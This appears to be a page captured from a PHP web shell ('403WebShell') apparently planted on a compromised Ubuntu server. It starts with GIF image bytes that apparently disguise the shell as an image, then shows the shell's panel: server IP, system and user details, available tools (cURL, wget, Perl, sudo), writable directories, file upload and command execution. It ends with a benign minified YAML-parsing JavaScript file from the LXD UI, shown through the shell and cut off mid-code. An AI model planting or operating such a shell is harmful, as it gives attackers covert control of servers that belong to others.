GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 143.110.188.43  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.57 (Ubuntu)
System : Linux Client-Droplet 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/lxd/current/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/current/share/lxd-ui/assets/YamlSwitch-BMEQ02g-.js
import{d as Ft,r as ee,w as zc,j as Q,D as Bp,q as Ml,aW as Fp,a2 as qc,a3 as Oa}from"./index-C5moRkRM.js";import{F as Ue}from"./FormMenuItem-C57SBRlg.js";import{h as Zt}from"./FormFooterLayout-CeiFxYRr.js";import{i as _p,j as Wp,m as $p,n as Hp,o as Vp}from"./devices-DziiOcJy.js";var q=Symbol("NOT_RESOLVED");function Ce(i,e){return{tagName:i,nodeKind:"scalar",implicit:e.implicit??!1,matchByTagPrefix:e.matchByTagPrefix??!1,implicitFirstChars:e.implicitFirstChars??null,resolve:e.resolve,identify:e.identify,represent:e.represent??(t=>String(t)),representTagName:e.representTagName??(()=>i)}}function Pl(i,e){const t=e.finalize===void 0;return{tagName:i,nodeKind:"sequence",implicit:!1,matchByTagPrefix:e.matchByTagPrefix??!1,create:e.create,addItem:e.addItem,finalize:e.finalize??(n=>n),carrierIsResult:t,identify:e.identify,represent:e.represent??(n=>n),representTagName:e.representTagName??(()=>i)}}function hs(i,e){const t=e.finalize===void 0;return{tagName:i,nodeKind:"mapping",implicit:!1,matchByTagPrefix:e.matchByTagPrefix??!1,create:e.create,addPair:e.addPair,has:e.has,keys:e.keys,get:e.get,finalize:e.finalize??(n=>n),carrierIsResult:t,identify:e.identify,represent:e.represent??(n=>n),representTagName:e.representTagName??(()=>i)}}var Qp=Ce("tag:yaml.org,2002:str",{resolve:i=>i,identify:i=>typeof i=="string"}),zp=["","~","null","Null","NULL"],qp=Ce("tag:yaml.org,2002:null",{implicit:!0,implicitFirstChars:["","~","n","N"],resolve:i=>zp.indexOf(i)!==-1?null:q,identify:i=>i===null,represent:()=>"null"}),Up=Ce("tag:yaml.org,2002:null",{implicit:!0,implicitFirstChars:["n"],resolve:(i,e)=>i==="null"||e&&i===""?null:q,identify:i=>i===null,represent:()=>"null"}),Kp=["","~","null","Null","NULL"],Xp=Ce("tag:yaml.org,2002:null",{implicit:!0,implicitFirstChars:["","~","n","N"],resolve:i=>Kp.indexOf(i)!==-1?null:q,identify:i=>i===null,represent:()=>"null"}),jp=["true","True","TRUE"],Yp=["false","False","FALSE"],Gp=Ce("tag:yaml.org,2002:bool",{implicit:!0,implicitFirstChars:["t","T","f","F"],resolve:i=>jp.indexOf(i)!==-1?!0:Yp.indexOf(i)!==-1?!1:q,identify:i=>Object.prototype.toString.call(i)==="[object Boolean]",represent:i=>i?"true":"false"}),Jp=["true"],Zp=["false"],eg=Ce("tag:yaml.org,2002:bool",{implicit:!0,implicitFirstChars:["t","f"],resolve:i=>Jp.indexOf(i)!==-1?!0:Zp.indexOf(i)!==-1?!1:q,identify:i=>Object.prototype.toString.call(i)==="[object Boolean]",represent:i=>i?"true":"false"}),tg=["true","True","TRUE","y","Y","yes","Yes","YES","on","On","ON"],ig=["false","False","FALSE","n","N","no","No","NO","off","Off","OFF"],ng=Ce("tag:yaml.org,2002:bool",{implicit:!0,implicitFirstChars:["y","Y","n","N","t","T","f","F","o","O"],resolve:i=>tg.indexOf(i)!==-1?!0:ig.indexOf(i)!==-1?!1:q,identify:i=>Object.prototype.toString.call(i)==="[object Boolean]",represent:i=>i?"true":"false"}),rg=new RegExp("^(?:0o[0-7]+|0x[0-9a-fA-F]+|[-+]?[0-9]+)$"),sg=new RegExp("^(?:[-+]?0b[0-1]+|[-+]?0o[0-7]+|[-+]?0x[0-9a-fA-F]+|[-+]?[0-9]+)$");function og(i){let e=i,t=1;return(e[0]==="-"||e[0]==="+")&&(e[0]==="-"&&(t=-1),e=e.slice(1)),e.startsWith("0b")?t*parseInt(e.slice(2),2):e.startsWith("0o")?t*parseInt(e.slice(2),8):e.startsWith("0x")?t*parseInt(e.slice(2),16):t*parseInt(e,10)}function lg(i,e){if(e){if(!sg.test(i))return q}else if(!rg.test(i))return q;const t=og(i);return Number.isFinite(t)?t:q}var Uc=Ce("tag:yaml.org,2002:int",{implicit:!0,implicitFirstChars:["-","+",..."0123456789"],resolve:lg,identify:i=>Number.isInteger(i)&&!Object.is(i,-0)&&i.toString(10).indexOf("e")<0,represent:i=>i.toString(10)}),ag=new RegExp("^-?(?:0|[1-9][0-9]*)$"),hg=new RegExp("^(?:[-+]?0b[0-1]+|[-+]?0o[0-7]+|[-+]?0x[0-9a-fA-F]+|[-+]?[0-9]+)$");function cg(i){let e=i,t=1;return(e[0]==="-"||e[0]==="+")&&(e[0]==="-"&&(t=-1),e=e.slice(1)),e.startsWith("0b")?t*parseInt(e.slice(2),2):e.startsWith("0o")?t*parseInt(e.slice(2),8):e.startsWith("0x")?t*parseInt(e.slice(2),16):t*parseInt(e,10)}function fg(i,e){if(e){if(!hg.test(i))return q}else if(!ag.test(i))return q;const t=cg(i);return Number.isFinite(t)?t:q}var ug=Ce("tag:yaml.org,2002:int",{implicit:!0,implicitFirstChars:["-",..."0123456789"],resolve:fg,identify:i=>Number.isInteger(i)&&!Object.is(i,-0)&&i.toString(10).indexOf("e")<0,represent:i=>i.toString(10)}),dg=new RegExp("^(?:[-+]?0b[0-1_]+|[-+]?0[0-7_]+|[-+]?0x[0-9a-fA-F_]+|[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+|[-+]?(?:0|[1-9][0-9_]*))$");function pg(i){let e=i.replace(/_/g,""),t=1;if((e[0]==="-"||e[0]==="+")&&(e[0]==="-"&&(t=-1),e=e.slice(1)),e.startsWith("0b"))return t*parseInt(e.slice(2),2);if(e.startsWith("0x"))return t*parseInt(e.slice(2),16);if(e.includes(":")){let n=0;for(const r of e.split(":"))n=n*60+Number(r);return t*n}return e!=="0"&&e[0]==="0"?t*parseInt(e,8):t*parseInt(e,10)}function gg(i){if(!dg.test(i))return q;const e=pg(i);return Number.isFinite(e)?e:q}var vo=Ce("tag:yaml.org,2002:int",{implicit:!0,implicitFirstChars:["-","+",..."0123456789"],resolve:gg,identify:i=>Number.isInteger(i)&&!Object.is(i,-0)&&i.toString(10).indexOf("e")<0,represent:i=>i.toString(10)}),mg=new RegExp("^(?:[-+]?[0-9]+(?:\\.[0-9]*)?(?:[eE][-+]?[0-9]+)?|[-+]?\\.[0-9]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$"),bg=new RegExp("^(?:[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$");function yg(i){if(!mg.test(i))return q;let e=i.toLowerCase();const t=e[0]==="-"?-1:1;if("+-".includes(e[0])&&(e=e.slice(1)),e===".inf")return t===1?Number.POSITIVE_INFINITY:Number.NEGATIVE_INFINITY;if(e===".nan")return NaN;const n=t*parseFloat(e);return Number.isFinite(n)||bg.test(i)?n:q}function xg(i){if(isNaN(i))return".nan";if(i===Number.POSITIVE_INFINITY)return".inf";if(i===Number.NEGATIVE_INFINITY)return"-.inf";if(Object.is(i,-0))return"-0.0";const e=i.toString(10);return/^[-+]?[0-9]+e/.test(e)?e.replace("e",".e"):e}var Kc=Ce("tag:yaml.org,2002:float",{implicit:!0,implicitFirstChars:["-","+",".",..."0123456789"],resolve:yg,identify:i=>typeof i=="number"&&(!Number.isInteger(i)||Object.is(i,-0)||i.toString(10).indexOf("e")>=0),represent:xg}),vg=new RegExp("^-?(?:0|[1-9][0-9]*)(?:\\.[0-9]*)?(?:[eE][-+]?[0-9]+)?$"),Sg=new RegExp("^(?:[-+]?[0-9]+(?:\\.[0-9]*)?(?:[eE][-+]?[0-9]+)?|[-+]?\\.[0-9]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$");function kg(i,e){if(e){if(!Sg.test(i))return q;let n=i.toLowerCase();const r=n[0]==="-"?-1:1;if("+-".includes(n[0])&&(n=n.slice(1)),n===".inf")return r===1?Number.POSITIVE_INFINITY:Number.NEGATIVE_INFINITY;if(n===".nan")return NaN;const s=r*parseFloat(n);return Number.isFinite(s)?s:q}if(!vg.test(i))return q;const t=Number(i);return Number.isFinite(t)?t:q}function wg(i){if(isNaN(i))return".nan";if(i===Number.POSITIVE_INFINITY)return".inf";if(i===Number.NEGATIVE_INFINITY)return"-.inf";if(Object.is(i,-0))return"-0.0";const e=i.toString(10);return/^[-+]?[0-9]+e/.test(e)?e.replace("e",".e"):e}var Og=Ce("tag:yaml.org,2002:float",{implicit:!0,implicitFirstChars:["-",..."0123456789"],resolve:kg,identify:i=>typeof i=="number"&&(!Number.isInteger(i)||Object.is(i,-0)||i.toString(10).indexOf("e")>=0),represent:wg}),Cg=new RegExp("^(?:[-+]?(?:(?:[0-9][0-9_]*)?\\.[0-9_]*)(?:[eE][-+][0-9]+)?|[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\\.[0-9_]*|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$"),Ag=new RegExp("^(?:[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$");function Tg(i){if(!Cg.test(i))return q;let e=i.toLowerCase().replace(/_/g,"");const t=e[0]==="-"?-1:1;if("+-".includes(e[0])&&(e=e.slice(1)),e===".inf")return t===1?Number.POSITIVE_INFINITY:Number.NEGATIVE_INFINITY;if(e===".nan")return NaN;let n=0;if(e.includes(":")){for(const r of e.split(":"))n=n*60+Number(r);n*=t}else n=t*parseFloat(e);return Number.isFinite(n)||Ag.test(i)?n:q}function Mg(i){if(isNaN(i))return".nan";if(i===Number.POSITIVE_INFINITY)return".inf";if(i===Number.NEGATIVE_INFINITY)return"-.inf";if(Object.is(i,-0))return"-0.0";const e=i.toString(10);return/^[-+]?[0-9]+e/.test(e)?e.replace("e",".e"):e}var So=Ce("tag:yaml.org,2002:float",{implicit:!0,implicitFirstChars:["-","+",".",..."0123456789"],resolve:Tg,identify:i=>typeof i=="number"&&(!Number.isInteger(i)||Object.is(i,-0)||i.toString(10).indexOf("e")>=0),represent:Mg}),Pg=Ce("tag:yaml.org,2002:merge",{implicit:!0,implicitFirstChars:["<"],resolve:(i,e)=>i==="<<"||e&&i===""?"<<":q,identify:()=>!1}),Eg=/^[A-Za-z0-9+/]*={0,2}$/;function Lg(i){const e=i.replace(/\s/g,"");if(e.length%4!==0||!Eg.test(e))return q;const t=atob(e),n=new Uint8Array(t.length);for(let r=0;r<t.length;r++)n[r]=t.charCodeAt(r);return n}function Dg(i){let e="";for(let t=0;t<i.length;t++)e+=String.fromCharCode(i[t]);return btoa(e)}var Rg=Ce("tag:yaml.org,2002:binary",{resolve:Lg,identify:i=>Object.prototype.toString.call(i)==="[object Uint8Array]",represent:Dg}),Ig=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9])-([0-9][0-9])$"),Ng=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9]?)-([0-9][0-9]?)(?:[Tt]|[ \\t]+)([0-9][0-9]?):([0-9][0-9]):([0-9][0-9])(?:\\.([0-9]*))?(?:[ \\t]*(Z|([-+])([0-9][0-9]?)(?::([0-9][0-9]))?))?$");function Ca(i,e,t,n=0,r=0,s=0,o=0){const l=new Date(Date.UTC(i,e,t,n,r,s,o));return l.setUTCFullYear(i,e,t),l}function Bg(i){let e=Ig.exec(i);if(e===null&&(e=Ng.exec(i)),e===null)return q;const t=+e[1],n=+e[2]-1,r=+e[3];if(!e[4]){const c=Ca(t,n,r);return c.getUTCFullYear()!==t||c.getUTCMonth()!==n||c.getUTCDate()!==r?q:c}const s=+e[4],o=+e[5],l=+e[6];let a=0;if(s>23||o>59||l>59)return q;if(e[7]){let c=e[7].slice(0,3);for(;c.length<3;)c+="0";a=+c}const h=Ca(t,n,r,s,o,l,a);if(h.getUTCFullYear()!==t||h.getUTCMonth()!==n||h.getUTCDate()!==r)return q;if(e[9]){const c=+e[10],f=+(e[11]||0);if(c>23||f>59)return q;const u=(c*60+f)*6e4;h.setTime(h.getTime()-(e[9]==="-"?-u:u))}return h}var Fg=Ce("tag:yaml.org,2002:timestamp",{implicit:!0,implicitFirstChars:[..."0123456789"],resolve:Bg,identify:i=>i instanceof Date,represent:i=>i.toISOString()}),_g=Pl("tag:yaml.org,2002:seq",{create:()=>[],addItem:(i,e)=>{i.push(e)},identify:Array.isArray});function cs(i){if(i===null||typeof i!="object"||Array.isArray(i))return!1;const e=Object.getPrototypeOf(i);return e===null||e===Object.prototype}function ko(i,e){const t={};for(const n of e)i[n]!==void 0&&(t[n]=i[n]);return t}var Wg=Pl("tag:yaml.org,2002:omap",{create:()=>({list:[],seen:new Set}),addItem:(i,e)=>{let t;if(e instanceof Map){if(e.size!==1)return"cannot resolve an ordered map item";t=e.keys().next().value}else if(cs(e)){const n=Object.keys(e);if(n.length!==1)return"cannot resolve an ordered map item";t=n[0]}else return"cannot resolve an ordered map item";return i.seen.has(t)?"duplicate key in ordered map":(i.seen.add(t),i.list.push(e),"")},finalize:i=>i.list,identify:()=>!1}),$g=Pl("tag:yaml.org,2002:pairs",{create:()=>[],addItem:(i,e)=>{if(e instanceof Map)return e.size!==1?"cannot resolve a pairs item":(i.push(e.entries().next().value),"");if(Object.prototype.toString.call(e)!=="[object Object]")return"cannot resolve a pairs item";const t=e,n=Object.keys(t);return n.length!==1?"cannot resolve a pairs item":(i.push([n[0],t[n[0]]]),"")},identify:()=>!1}),Hg=hs("tag:yaml.org,2002:map",{create:()=>({}),identify:cs,represent:i=>{const e=new Map;for(const t of Object.keys(i))e.set(t,i[t]);return e},addPair:(i,e,t)=>{if(e!==null&&typeof e=="object")return"object-based map does not support complex keys";const n=String(e);return n==="__proto__"?Object.defineProperty(i,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):i[n]=t,""},has:(i,e)=>e!==null&&typeof e=="object"?!1:Object.prototype.hasOwnProperty.call(i,String(e)),keys:i=>Object.keys(i),get:(i,e)=>{const t=String(e);return Object.prototype.hasOwnProperty.call(i,t)?i[t]:null}}),Vg=hs("tag:yaml.org,2002:set",{create:()=>new Set,identify:i=>i instanceof Set,represent:i=>{const e=new Map;for(const t of i)e.set(t,null);return e},addPair:(i,e,t)=>t!==null?"cannot resolve a set item":(i.add(e),""),has:(i,e)=>i.has(e),keys:i=>i.keys(),get:()=>null});function Qg(){return{scalar:Object.create(null),sequence:Object.create(null),mapping:Object.create(null)}}function zg(){return{scalar:[],sequence:[],mapping:[]}}function qg(i){const e=[];for(const t of i){let n=e.length;for(let r=0;r<e.length;r++){const s=e[r];if(s.nodeKind===t.nodeKind&&s.tagName===t.tagName&&s.matchByTagPrefix===t.matchByTagPrefix){n=r;break}}e[n]=t}return e}var fs=class Xc{tags;implicitScalarTags;implicitScalarByFirstChar;implicitScalarAnyFirstChar;defaultScalarTag;defaultSequenceTag;defaultMappingTag;exact;prefix;constructor(e){const t=qg(e),n=[],r=Qg(),s=zg();for(const c of t){if(c.nodeKind==="scalar"&&c.implicit){if(c.matchByTagPrefix)throw new Error("Implicit scalar tags cannot match by tag prefix");n.push(c)}switch(c.nodeKind){case"scalar":c.matchByTagPrefix?s.scalar.push(c):r.scalar[c.tagName]=c;break;case"sequence":c.matchByTagPrefix?s.sequence.push(c):r.sequence[c.tagName]=c;break;case"mapping":c.matchByTagPrefix?s.mapping.push(c):r.mapping[c.tagName]=c;break}}const o=n.filter(c=>c.implicitFirstChars===null),l=new Set;for(const c of n)if(c.implicitFirstChars!==null)for(const f of c.implicitFirstChars)l.add(f);const a=new Map;for(const c of l)a.set(c,n.filter(f=>f.implicitFirstChars===null||f.implicitFirstChars.indexOf(c)!==-1));const h=r.scalar["tag:yaml.org,2002:str"];if(!h)throw new Error("schema does not define the default scalar tag (tag:yaml.org,2002:str)");this.tags=t,this.implicitScalarTags=n,this.implicitScalarByFirstChar=a,this.implicitScalarAnyFirstChar=o,this.defaultScalarTag=h,this.defaultSequenceTag=r.sequence["tag:yaml.org,2002:seq"],this.defaultMappingTag=r.mapping["tag:yaml.org,2002:map"],this.exact=r,this.prefix=s}lookupScalarTag(e){const t=this.exact.scalar[e];if(t)return t;for(const n of this.prefix.scalar)if(e.startsWith(n.tagName))return n}lookupSequenceTag(e){const t=this.exact.sequence[e];if(t)return t;for(const n of this.prefix.sequence)if(e.startsWith(n.tagName))return n}lookupMappingTag(e){const t=this.exact.mapping[e];if(t)return t;for(const n of this.prefix.mapping)if(e.startsWith(n.tagName))return n}resolveImplicitScalarTag(e){const t=this.implicitScalarByFirstChar.get(e.charAt(0))??this.implicitScalarAnyFirstChar;for(const r of t){const s=r.resolve(e,!1,r.tagName);if(s!==q)return{value:s,tag:r}}const n=this.defaultScalarTag;return{value:n.resolve(e,!1,n.tagName),tag:n}}withTags(...e){let t=[];for(const n of e)t=t.concat(n);return new Xc([...this.tags,...t])}},El=new fs([Qp,_g,Hg]);new fs([...El.tags,Up,eg,ug,Og]);var Ug=new fs([...El.tags,qp,Gp,Uc,Kc]),Kg=new fs([...El.tags,Xp,ng,vo,So,Fg,Pg,Rg,Wg,$g,Vg]),Xg=Kg.withTags({...vo,resolve:(i,e,t)=>{const n=vo.resolve(i,e,t);return n===q?Uc.resolve(i,e,t):n}},{...So,resolve:(i,e,t)=>{const n=So.resolve(i,e,t);return n===q?Kc.resolve(i,e,t):n}});hs("tag:yaml.org,2002:map",{create:()=>new Map,addPair:(i,e,t)=>(i.set(e,t),""),has:(i,e)=>i.has(e),keys:i=>i.keys(),get:(i,e)=>i.get(e),identify:i=>i instanceof Map||cs(i),represent:i=>{if(i instanceof Map)return i;const e=new Map,t=i;for(const n of Object.keys(t))e.set(n,t[n]);return e}});function Aa(i){if(Array.isArray(i)){const e=Array.prototype.slice.call(i);for(let t=0;t<e.length;t++){if(Array.isArray(e[t]))return null;typeof e[t]=="object"&&Object.prototype.toString.call(e[t])==="[object Object]"&&(e[t]="[object Object]")}return String(e)}return typeof i=="object"&&Object.prototype.toString.call(i)==="[object Object]"?"[object Object]":String(i)}hs("tag:yaml.org,2002:map",{create:()=>({}),identify:cs,represent:i=>{const e=new Map;for(const t of Object.keys(i))e.set(t,i[t]);return e},addPair:(i,e,t)=>{const n=Aa(e);return n===null?"nested arrays are not supported inside keys":(n==="__proto__"?Object.defineProperty(i,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):i[n]=t,"")},has:(i,e)=>{const t=Aa(e);return 